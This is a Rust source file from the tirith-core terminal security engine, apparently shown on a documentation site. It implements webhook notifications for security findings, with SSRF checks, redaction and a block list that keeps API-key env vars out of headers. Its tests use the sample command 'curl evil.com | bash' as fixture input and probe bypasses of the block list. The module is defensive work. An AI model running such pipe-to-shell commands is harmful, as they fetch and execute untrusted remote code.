tirith-core 0.2.11

Terminal security analysis engine - homograph attacks, pipe-to-shell, ANSI injection
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
/// Webhook event dispatcher for finding notifications (Team feature).
///
/// Unix-only (ADR-8): depends on reqwest. Non-blocking: fires in a background
/// thread so it never delays the verdict exit code.
use crate::policy::WebhookConfig;
use crate::verdict::{Severity, Verdict};

/// Dispatch webhook notifications for a verdict, if configured.
///
/// Spawns a background thread per webhook endpoint. The main thread is never
/// blocked. If any webhook delivery fails after retries, errors are logged
/// to stderr.
#[cfg(unix)]
pub fn dispatch(
    verdict: &Verdict,
    command_preview: &str,
    webhooks: &[WebhookConfig],
    custom_dlp_patterns: &[String],
) {
    if webhooks.is_empty() {
        return;
    }

    // Apply DLP redaction: built-in patterns + custom policy patterns (Team)
    let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);

    let max_severity = verdict
        .findings
        .iter()
        .map(|f| f.severity)
        .max()
        .unwrap_or(Severity::Info);

    for wh in webhooks {
        if max_severity < wh.min_severity {
            continue;
        }

        // SSRF protection: validate webhook URL
        if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
            eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
            continue;
        }

        let payload = build_payload(verdict, &redacted_preview, wh);
        let url = wh.url.clone();
        let headers = expand_env_headers(&wh.headers);

        std::thread::spawn(move || {
            if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
                eprintln!("tirith: webhook delivery to {url} failed: {e}");
            }
        });
    }
}

/// No-op on non-Unix platforms.
#[cfg(not(unix))]
pub fn dispatch(
    _verdict: &Verdict,
    _command_preview: &str,
    _webhooks: &[WebhookConfig],
    _custom_dlp_patterns: &[String],
) {
}

/// Build the webhook payload from a template or default JSON.
#[cfg(unix)]
fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
    if let Some(ref template) = wh.payload_template {
        let rule_ids: Vec<String> = verdict
            .findings
            .iter()
            .map(|f| f.rule_id.to_string())
            .collect();
        let max_severity = verdict
            .findings
            .iter()
            .map(|f| f.severity)
            .max()
            .unwrap_or(Severity::Info);

        let result = template
            .replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
            .replace("{{command_preview}}", &sanitize_for_json(command_preview))
            .replace(
                "{{action}}",
                &sanitize_for_json(&format!("{:?}", verdict.action)),
            )
            .replace(
                "{{severity}}",
                &sanitize_for_json(&max_severity.to_string()),
            )
            .replace("{{finding_count}}", &verdict.findings.len().to_string());
        // Only use template result if it's valid JSON
        if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
            return result;
        }
        eprintln!(
            "tirith: webhook: warning: payload template produced invalid JSON, using default payload"
        );
    }

    // Default JSON payload (also used as fallback when template produces invalid JSON)
    let rule_ids: Vec<String> = verdict
        .findings
        .iter()
        .map(|f| f.rule_id.to_string())
        .collect();
    let max_severity = verdict
        .findings
        .iter()
        .map(|f| f.severity)
        .max()
        .unwrap_or(Severity::Info);

    serde_json::json!({
        "event": "tirith_finding",
        "action": format!("{:?}", verdict.action),
        "severity": max_severity.to_string(),
        "rule_ids": rule_ids,
        "finding_count": verdict.findings.len(),
        "command_preview": sanitize_for_json(command_preview),
    })
    .to_string()
}

/// Expand environment variables in header values (`$VAR` or `${VAR}`).
#[cfg(unix)]
fn expand_env_headers(
    headers: &std::collections::HashMap<String, String>,
) -> Vec<(String, String)> {
    headers
        .iter()
        .map(|(k, v)| {
            let expanded = expand_env_value(v);
            (k.clone(), expanded)
        })
        .collect()
}

/// Expand `$VAR` and `${VAR}` references in a string.
#[cfg(unix)]
fn expand_env_value(input: &str) -> String {
    let mut result = String::with_capacity(input.len());
    let mut chars = input.chars().peekable();

    while let Some(c) = chars.next() {
        if c == '$' {
            if chars.peek() == Some(&'{') {
                chars.next(); // consume '{'
                let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
                if !var_name.starts_with("TIRITH_") {
                    eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
                } else if is_sensitive_webhook_env_var(&var_name) {
                    eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
                } else {
                    match std::env::var(&var_name) {
                        Ok(val) => result.push_str(&val),
                        Err(_) => {
                            eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
                        }
                    }
                }
            } else {
                // CR-6: Use peek to avoid consuming the delimiter character
                let mut var_name = String::new();
                while let Some(&ch) = chars.peek() {
                    if ch.is_ascii_alphanumeric() || ch == '_' {
                        var_name.push(ch);
                        chars.next();
                    } else {
                        break; // Don't consume the delimiter
                    }
                }
                if !var_name.is_empty() {
                    if !var_name.starts_with("TIRITH_") {
                        eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
                    } else if is_sensitive_webhook_env_var(&var_name) {
                        eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
                    } else {
                        match std::env::var(&var_name) {
                            Ok(val) => result.push_str(&val),
                            Err(_) => {
                                eprintln!(
                                    "tirith: webhook: warning: env var '{var_name}' is not set"
                                );
                            }
                        }
                    }
                }
            }
        } else {
            result.push(c);
        }
    }

    result
}

#[cfg(unix)]
fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
    matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
}

/// Send a webhook with exponential backoff retry.
#[cfg(unix)]
fn send_with_retry(
    url: &str,
    payload: &str,
    headers: &[(String, String)],
    max_attempts: u32,
) -> Result<(), String> {
    let client = reqwest::blocking::Client::builder()
        .timeout(std::time::Duration::from_secs(10))
        .build()
        .map_err(|e| format!("client build: {e}"))?;

    for attempt in 0..max_attempts {
        let mut req = client
            .post(url)
            .header("Content-Type", "application/json")
            .body(payload.to_string());

        for (key, value) in headers {
            req = req.header(key, value);
        }

        match req.send() {
            Ok(resp) if resp.status().is_success() => return Ok(()),
            Ok(resp) => {
                let status = resp.status();
                // SF-16: Don't retry client errors (4xx) — they will never succeed
                if status.is_client_error() {
                    return Err(format!("HTTP {status} (non-retriable client error)"));
                }
                if attempt + 1 < max_attempts {
                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
                    std::thread::sleep(delay);
                } else {
                    return Err(format!("HTTP {status} after {max_attempts} attempts"));
                }
            }
            Err(e) => {
                if attempt + 1 < max_attempts {
                    let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
                    std::thread::sleep(delay);
                } else {
                    return Err(format!("{e} after {max_attempts} attempts"));
                }
            }
        }
    }

    Err("exhausted retries".to_string())
}

/// Sanitize a string for safe embedding in JSON (limit length, escape special chars).
fn sanitize_for_json(input: &str) -> String {
    let truncated: String = input.chars().take(200).collect();
    // Use serde_json to properly escape the string
    let json_val = serde_json::Value::String(truncated);
    // Strip the surrounding quotes from the JSON string
    let s = json_val.to_string();
    s[1..s.len() - 1].to_string()
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_sanitize_for_json() {
        assert_eq!(sanitize_for_json("hello"), "hello");
        assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
        assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
    }

    #[test]
    fn test_sanitize_for_json_truncates() {
        let long = "x".repeat(500);
        let result = sanitize_for_json(&long);
        assert_eq!(result.len(), 200);
    }

    #[cfg(unix)]
    #[test]
    fn test_expand_env_value() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
        assert_eq!(
            expand_env_value("Bearer $TIRITH_TEST_WH"),
            "Bearer secret123"
        );
        assert_eq!(
            expand_env_value("Bearer ${TIRITH_TEST_WH}"),
            "Bearer secret123"
        );
        assert_eq!(expand_env_value("no vars"), "no vars");
        unsafe { std::env::remove_var("TIRITH_TEST_WH") };
    }

    #[cfg(unix)]
    #[test]
    fn test_expand_env_value_preserves_delimiter() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        // CR-6: The character after $VAR must not be swallowed
        unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
        assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
        assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
        unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
    }

    #[cfg(unix)]
    #[test]
    fn test_expand_env_value_blocks_sensitive_vars() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe {
            std::env::set_var("TIRITH_API_KEY", "secret-api-key");
            std::env::set_var("TIRITH_LICENSE", "secret-license");
        }
        assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
        assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
        unsafe {
            std::env::remove_var("TIRITH_API_KEY");
            std::env::remove_var("TIRITH_LICENSE");
        }
    }

    // -----------------------------------------------------------------------
    // Adversarial bypass attempts: sensitive env var exfiltration
    // -----------------------------------------------------------------------

    #[cfg(unix)]
    #[test]
    fn test_bypass_sensitive_var_both_forms() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe {
            std::env::set_var("TIRITH_API_KEY", "leaked");
            std::env::set_var("TIRITH_LICENSE", "leaked");
        }
        // $VAR form
        assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
        assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
        // ${VAR} form
        assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
        assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
        // Embedded in header value
        assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
        assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
        unsafe {
            std::env::remove_var("TIRITH_API_KEY");
            std::env::remove_var("TIRITH_LICENSE");
        }
    }

    #[cfg(unix)]
    #[test]
    fn test_bypass_case_variation_is_different_var() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        // Unix env vars are case-sensitive: TIRITH_api_key != TIRITH_API_KEY
        // The blocklist is exact-match, so a case variant is a DIFFERENT var.
        // This is correct — TIRITH_api_key is not a real sensitive var.
        unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
        assert_eq!(
            expand_env_value("$TIRITH_api_key"),
            "not-sensitive",
            "Case-different var name should expand (it's a different var)"
        );
        unsafe { std::env::remove_var("TIRITH_api_key") };
    }

    #[cfg(unix)]
    #[test]
    fn test_bypass_non_sensitive_tirith_var_still_expands() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
        assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
        assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
        unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
    }

    #[cfg(unix)]
    #[test]
    fn test_bypass_double_dollar_does_not_expand() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
        // $$TIRITH_API_KEY: first $ sees second $ which is not '{' or alnum,
        // so it becomes a literal '$', then the second $ starts a new expansion
        // which hits the blocklist.
        let result = expand_env_value("$$TIRITH_API_KEY");
        assert!(
            !result.contains("leaked"),
            "Double-dollar must not leak: got {result}"
        );
        unsafe { std::env::remove_var("TIRITH_API_KEY") };
    }

    #[cfg(unix)]
    #[test]
    fn test_bypass_nested_braces_does_not_expand() {
        let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
        unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
        // ${TIRITH_${NESTED}} — the inner ${...} is consumed as the var name
        // "TIRITH_${NESTED" (take_while stops at '}'), which doesn't start
        // with TIRITH_ in any meaningful way that resolves.
        let result = expand_env_value("${TIRITH_${NESTED}}");
        assert!(
            !result.contains("leaked"),
            "Nested braces must not leak: got {result}"
        );
        unsafe { std::env::remove_var("TIRITH_API_KEY") };
    }

    #[cfg(unix)]
    #[test]
    fn test_build_default_payload() {
        use crate::verdict::{Action, Finding, RuleId, Timings};

        let verdict = Verdict {
            action: Action::Block,
            findings: vec![Finding {
                rule_id: RuleId::CurlPipeShell,
                severity: Severity::High,
                title: "test".into(),
                description: "test desc".into(),
                evidence: vec![],
                human_view: None,
                agent_view: None,
                mitre_id: None,
                custom_rule_id: None,
            }],
            tier_reached: 3,
            bypass_requested: false,
            bypass_honored: false,
            interactive_detected: false,
            policy_path_used: None,
            timings_ms: Timings::default(),
            urls_extracted_count: None,
            requires_approval: None,
            approval_timeout_secs: None,
            approval_fallback: None,
            approval_rule: None,
            approval_description: None,
        };

        let wh = WebhookConfig {
            url: "https://example.com/webhook".into(),
            min_severity: Severity::High,
            headers: std::collections::HashMap::new(),
            payload_template: None,
        };

        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
        let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
        assert_eq!(parsed["event"], "tirith_finding");
        assert_eq!(parsed["finding_count"], 1);
        assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
    }

    #[cfg(unix)]
    #[test]
    fn test_build_template_payload() {
        use crate::verdict::{Action, Finding, RuleId, Timings};

        let verdict = Verdict {
            action: Action::Block,
            findings: vec![Finding {
                rule_id: RuleId::CurlPipeShell,
                severity: Severity::High,
                title: "test".into(),
                description: "test desc".into(),
                evidence: vec![],
                human_view: None,
                agent_view: None,
                mitre_id: None,
                custom_rule_id: None,
            }],
            tier_reached: 3,
            bypass_requested: false,
            bypass_honored: false,
            interactive_detected: false,
            policy_path_used: None,
            timings_ms: Timings::default(),
            urls_extracted_count: None,
            requires_approval: None,
            approval_timeout_secs: None,
            approval_fallback: None,
            approval_rule: None,
            approval_description: None,
        };

        let wh = WebhookConfig {
            url: "https://example.com/webhook".into(),
            min_severity: Severity::High,
            headers: std::collections::HashMap::new(),
            payload_template: Some(
                r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
            ),
        };

        let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
        assert!(payload.contains("curl_pipe_shell"));
        assert!(payload.contains("curl evil.com"));
    }
}